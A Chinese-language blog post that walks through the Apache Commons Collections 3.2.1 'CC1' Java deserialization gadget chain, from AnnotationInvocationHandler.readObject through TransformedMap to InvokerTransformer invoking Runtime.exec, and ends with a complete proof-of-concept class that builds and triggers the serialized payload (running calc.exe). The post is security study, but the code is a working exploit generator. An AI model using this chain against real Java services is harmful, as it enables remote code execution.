首页 > 其他分享 >cc1链分析

cc1链分析

时间:2024-04-10 16:45:53浏览次数:17  
标签:InvokerTransformer Transformer 链分析 Object cc1 transform new class

cc1对jdk有要求:jdk1.8以前(8u71之后已修复不可利用)

Java Archive Downloads - Java SE 8 (oracle.com)

maven依赖

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

分析

Runtime.getRuntime().exec("calc.exe");为payload进行分析,从触发类开始写到传入类。

核心目的:传入一个类对象,它的反序列化方法执行命令,同时执行的命令应该可控

触发顺序如下:

发送恶意序列化类
AnnotationInvocationHandler.readobject
AbstractInputCheckedMapDecorator.SetValue
TransformedMap.checkSetValue
ChainedTransformer.transform
Transformer.ConstantTransformer
Transformer.InvokerTransformer

我们从下往上看

ChainedTransformer.transform
Transformer.ConstantTransformer
Transformer.InvokerTransformer

首先是Transformer的子类ConstantTransformer和InvokerTransformer

ConstantTransformer

image

其构造方法接收了一个对象,该对象赋值成员变量,然后在transform方法中将该对象返回

InvokerTransformer

image

其构造方法接收一个字符串(方法名),类对象数组(参数类型),对象数组(参数),这可以描述一个方法。

其transform方法会接受一个对象输入,然后通过反射调用该对象的某个方法(取决于你构造函数的传参)

例如下面代码可以用来描述

new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[] {"calc.exe"}
);

XXX.exec("calc.exe")

ChainedTransformer

image

其构造函数可以传入应该Transformer数组

执行transform方法时,会依次执行数组中的transformer方法并将参数传递下去

例如:ChainedTransformer有ABCDE五个Transformer

r1=A.transform()
r2=B.transform(r1)
r3=CA.transform(r2)
……

结合上面ConstantTransformer和InvokerTransformer就可以做到

从ConstantTransformer获得对象,然后通过InvokerTransformer执行该对象的方法

考虑到执行命令的Runtime是单例模式,我们可以通过反射的方式获取类对象,然后反射获取构造方法,调用构造方法获得Runtime,最后调用exec执行命令

System.out.println("[+]构造Transformer数组的第一个参数ConstantTransformer\n" +
                "    在transform时将会返回Runtime类A");
ConstantTransformer a=new ConstantTransformer(Runtime.class);

System.out.println("[+]构造Transformer数组的第二个参数InvokerTransformer\n" +
                "    在transform时将会通过A.getMethod(\"getRuntime\")返回getRuntime方法类B");
InvokerTransformer b=new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]});

System.out.println("[+]构造Transformer数组的第三个参数InvokerTransformer\n" +
                "    在transform时将会通过B.invoke(C)执行getRuntime方法,返回runtime对象");
InvokerTransformer c =new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[] {null, new Object[0]});

System.out.println("[+]构造Transformer数组的第四个参数InvokerTransformer\n" +
                "    在transform时将会通过D.exec(\"calc.exe\")执行命令");
InvokerTransformer d=new InvokerTransformer("exec",
new Class[]{String.class},
new Object[] {"calc.exe"});

Transformer[] transformers = new Transformer[]{a, b, c, d};

System.out.println("[+]使用ChainedTransformer将该数组链接起来\n" +
                "    执行ChainedTransformer.transform将会执行上述链条");
Transformer transformerChain = new ChainedTransformer(transformers);

可惜的是在执行transform方法时才有效果,而不是反序列化时就能触发

TransformedMap

谁能够触发ChainedTransformer的transform方法呢?

TransformedMap的checkSetValue,前提条件:在构造时候传入ChainedTransformer

image
image

System.out.println("[+]构造TransformedMap\n" +
        "    调用TransformedMap.checkSetValue能触发ChainedTransformer.transform方法");
Map inMap = new HashMap();
inMap.put("value", "cc");
Map outerMap = TransformedMap.decorate(inMap, null, transformerChain);

那么谁又能调用这个checkSetValue呢?

那就是AbstractInputCheckedMapDecorator

AbstractInputCheckedMapDecorator

image

image

那么谁调用了这个setValue呢?

在jdk源码中的AnnotationInvocationHandler中的readObject方法调用了!

下载地址:jdk8u/jdk8u/jdk: af660750b2f4 (openjdk.org)

AnnotationInvocationHandler

终于我们在茫茫代码中找到了一个反序列化方法,在com.reflect.annotation中
image

但是这个输入的memberValue可控吗?
image

可控!芜湖起飞

编写代码

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void mypoc() throws Exception {
        System.out.println("[+]构造Transformer数组的第一个参数ConstantTransformer\n    在transform时将会返回Runtime类A");
        ConstantTransformer a=new ConstantTransformer(Runtime.class);

        System.out.println("[+]构造Transformer数组的第二个参数InvokerTransformer\n    在transform时将会通过A.getMethod(\"getRuntime\")返回getRuntime方法类B");
        InvokerTransformer b=new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[] {"getRuntime", new Class[0]});

        System.out.println("[+]构造Transformer数组的第三个参数InvokerTransformer\n    在transform时将会通过B.invoke(C)执行getRuntime方法,返回runtime对象");
        InvokerTransformer c =new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[] {null, new Object[0]});

        System.out.println("[+]构造Transformer数组的第四个参数InvokerTransformer\n    在transform时将会通过D.exec(\"calc.exe\")执行命令");
        InvokerTransformer d=new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[] {"calc.exe"});

        Transformer[] transformers = new Transformer[]{a, b, c, d};

        System.out.println("[+]使用ChainedTransformer将该数组链接起来\n    执行ChainedTransformer.transform将会执行上述链条");
        Transformer transformerChain = new ChainedTransformer(transformers);

        System.out.println("[+]构造TransformedMap\n    调用TransformedMap.checkSetValue能触发ChainedTransformer.transform方法");
        Map inMap = new HashMap();
        inMap.put("value", "cc");
        Map outMap = TransformedMap.decorate(inMap, null, transformerChain);

        System.out.println("[+]构造AnnotationInvocationHandler\n    其readobject方法能够触发TransformedMap.checkSetValue");
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor makefunc = cls.getDeclaredConstructor(Class.class, Map.class);
        makefunc.setAccessible(true);
        Object obj = makefunc.newInstance(Retention.class, outMap);

        // 为这个对象生成字节序列
        System.out.println("\n[+]序列化");
        ByteArrayOutputStream serialize = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(serialize);
        oos.writeObject(obj);
        oos.close();

        // 执行反序列化
        System.out.println("    "+Base64.getEncoder().encodeToString(serialize.toByteArray()));
        System.out.println("[+]反序列化触发");
        ObjectInputStream unserialize = new ObjectInputStream(new ByteArrayInputStream(serialize.toByteArray()));
        Object run = (Object) unserialize.readObject();
    }
}

执行

image

完结撒花!

标签:InvokerTransformer,Transformer,链分析,Object,cc1,transform,new,class
From: https://www.cnblogs.com/Aixve/p/18126324

相关文章

  • Rome反序列化链分析
    环境搭建<dependencies><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.11</version><scope>test</scope></dependency><de......
  • java反序列化-CC1
    CC1目录CC11、Transformer接口2、Transformer的实现类ConstantTransformerChainedTransformerInvokerTransformer3、寻找调用链TransformedMap(功能理解)LazyMap(调用链分析)1、Transformer接口从Transformer接口开始,对于这个接口是这么介绍的:它被实现为一个将一个对象转换为......
  • 同一SAP系统下使用SCC1跨客户端(client)传输配置
    abap开发中会涉及到一些配置的,也会生成定制请求,比如说BTE中的配置,webservice中的端口配置。这些配置并不是跨client的,通常一个SAP系统内会有多个client,比如,开发机系统内存在两个client,100和200,100下是纯开发client,200下会有一点简单测试数据,100,200之间的系统内配置传输就会用到SC......
  • [c++/gcc] Centos 7.9升级 gcc 4.8.5 到 gcc11 [转]
    0序本文背景:因在centos7.9server上安装nodejs21.7.1,编译nodejs时,依赖了gnu17/gcc11。例如:遇到Qtrequiresc++11support、-std=gnu++17例如:编译器不支持c++17,就会提示:g++:error:unrecognizedcommandlineoption‘-std=c++17’例如:编译器不支持c++17,就会提示:g++:......
  • URLDNS链分析
    一、概述URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:不限制jdk版本,使用Java内置类,对第三方依赖没有要求目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞URLDNS利用链,只能发起DNS请求,并不能进行其他利用二、流程......
  • ApacheCC1反序列化分析
    ApacheCC1反序列化分析写在前面:这条链路对初学者来说并不是那么简单的,大家在学习时一定要多动手调试代码,有的时候光看代码看得头大,一调试就都明白了。一、背景介绍首先,什么是cc1cc全称Common-Collections,是apache基金会的一个项目,它提供了比原生的java更多的接口和方法,比如说......
  • EMCC13.5+Oracle19.13+Redhat8 In Silent Mode
    问题描述:使用静默的方式来安装emcc13.5+Oracle19.13,准备好19c的oracle环境,一开始用21c的库+emcc13.5的安装检查一直过不去,但是19c是没有问题的,具体问题会在下面文档中体现 一、下载软件https://www.oracle.com/enterprise-manager/downloads/cloud-control-downloads.htmlhtt......
  • CC1310F128RSMR Sub-1GHz超低功耗无线微控制器芯片
    CC1310F128RSMRQFN-32Sub-1GHz超低功耗无线微控制器CC1310F128RSMR是一款低成本、超低功耗、Sub-1GHz射频器件,它是Simplelink微控制器(MCU)平台的一部分。该平台由Wi-Fi组成、蓝牙低功耗,Sub-1GHz,以太网,Zigbee线程和主机mcu。这些设备都有一个共同的,易于使用的开发环境,具有......
  • cc1: all warnings being treated as errors报错处理
    cmake时一切正常,make时产生了报错,并且解释为`cc1:allwarningsbeingtreatedaserrors`一些网上的方法是在Makefile文件里删除`-Werror`,但我的Makefile文件不存在这个选项。我的解决方法:在CMakeLists里寻找配置'-Werror'的语句,将这些涉及的语句删除。并且删除之前cmake......
  • CC1101 一款低功耗sub- 1ghz收发器芯片 适用于无线遥控智能家居
    产品描述CC1101是一个低成本的sub-1ghz收发器,专为极低功耗的无线应用而设计。该电路主要用于工业、科学和医学)和SRD(ShortRangeDevice)频带,在315,433,868和915兆赫,但可以轻松可编程用于其他操作频率在300-348MHz、387-464MHz,以及779-928MHz频段。射频收发器集成了一......